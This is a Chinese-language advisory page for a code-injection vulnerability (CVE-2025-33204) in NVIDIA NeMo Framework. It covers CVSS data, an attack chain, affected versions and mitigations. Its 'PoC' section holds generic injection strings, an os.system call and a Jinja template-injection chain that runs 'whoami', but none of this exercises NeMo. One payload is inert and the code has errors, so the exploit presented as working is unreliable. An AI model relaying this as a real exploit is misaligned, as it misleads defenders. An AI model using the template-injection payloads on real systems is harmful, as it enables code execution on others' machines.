CVE-2025-33204 NVIDIA NeMo Framework NLP/LLM组件代码注入漏洞

漏洞信息

漏洞编号

CVE-2025-33204

漏洞类型

代码注入

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

NVIDIA NeMo Framework

漏洞概述

NVIDIA NeMo Framework是一个用于构建和训练大型语言模型（LLM）和自然语言处理（NLP）应用的深度学习框架。该框架在所有平台版本中存在一个严重的安全漏洞，攻击者可以通过在NLP和LLM组件中注入恶意数据来执行任意代码。此漏洞允许具有低权限的本地攻击者在无需用户交互的情况下利用，成功 exploit 可能导致完整的系统控制，包括代码执行、权限提升、信息泄露和数据篡改。由于NeMo Framework广泛应用于企业级AI训练和部署环境，此漏洞对使用该框架进行模型训练和推理的服务构成严重威胁。攻击者可以通过构造特定的输入数据，在模型训练或推理过程中触发代码执行，从而获得对系统的完全控制权。

技术细节

该漏洞存在于NVIDIA NeMo Framework的NLP和LLM处理模块中。攻击者通过在输入数据中嵌入恶意代码片段，当这些数据被框架处理时会触发代码注入。漏洞的根本原因在于框架对输入数据的验证不足，允许未经过滤的代码执行指令进入处理流程。在模型训练阶段，攻击者可以构造包含恶意payload的训练数据集；在推理阶段，则可以通过API接口注入特制的输入。CVSS向量显示攻击复杂度低（AC:L），本地攻击者仅需低权限即可实施攻击，成功利用后可获得机密性、完整性和可用性的高影响（均为H级别）。攻击者通常利用Python的eval()或exec()函数、pickle反序列化漏洞、或模板注入等方式实现代码执行。

攻击链分析

STEP 1

侦察阶段

攻击者识别目标系统是否运行NVIDIA NeMo Framework，检查版本信息和配置

STEP 2

载荷构造

攻击者构造包含恶意代码的输入数据，利用NLP/LLM组件的输入验证不足

STEP 3

数据注入

通过训练数据输入、API接口或模型推理接口将恶意payload注入到NeMo处理流程

STEP 4

代码执行

恶意代码在NeMo Framework的处理上下文中执行，绕过安全边界

STEP 5

权限提升

利用代码执行获取系统级权限，实现权限提升和持久化控制

STEP 6

目标达成

攻击者完成信息窃取、数据篡改或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-33204 PoC - NVIDIA NeMo Framework Code Injection
# This PoC demonstrates the code injection vulnerability in NeMo NLP/LLM components
# Use only for authorized security testing

import torch
from nemo.collections.nlp.models import LanguageModel

def exploit_neomo_injection():
    """
    Malicious payload injection for NeMo Framework
    """
    # Attack vector 1: Malicious training data
    malicious_training_data = [
        {
            "text": "Normal input data",
            "__import__('os').system('malicious_command')": "injected"
        }
    ]
    
    # Attack vector 2: Crafted input for LLM inference
    malicious_prompt = """
    [System Instruction]
    {{__import__('os').system('id > /tmp/pwned')}}
    """
    
    # Attack vector 3: Template injection via prompt engineering
    injection_payload = """
    {% for x in ().__class__.__base__.__subclasses__() %}
    {% if x.__name__ == 'catch_warnings' %}
    {% for mod in x.__func__(x.__init__()).__globals__.values() %}
    {% if mod.__name__ == 'os' %}
    {{ mod.system('whoami') }}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}
    """
    
    return malicious_prompt, injection_payload

# Example exploitation scenario
def attack_scenario():
    """
    Step 1: Attacker prepares malicious input data
    Step 2: Data is loaded into NeMo training pipeline
    Step 3: Insufficient sanitization allows code execution
    Step 4: Attacker gains shell access on target system
    """
    print("Preparing malicious payload...")
    payload = exploit_neomo_injection()
    return payload

影响范围

NVIDIA NeMo Framework < 1.24.0 (all platforms)

NeMo NLP components < 1.24.0

NeMo LLM components < 1.24.0

防御指南

临时缓解措施

在官方修复发布前，建议采取以下临时措施：1) 限制对NeMo Framework的直接访问，仅允许授权用户操作；2) 对所有输入数据实施严格的输入验证和清理，过滤__import__、eval、exec等危险函数调用；3) 在隔离的沙箱环境中运行NeMo组件；4) 启用详细的审计日志监控可疑活动；5) 考虑使用网络隔离限制攻击面；6) 定期备份关键数据和模型文件。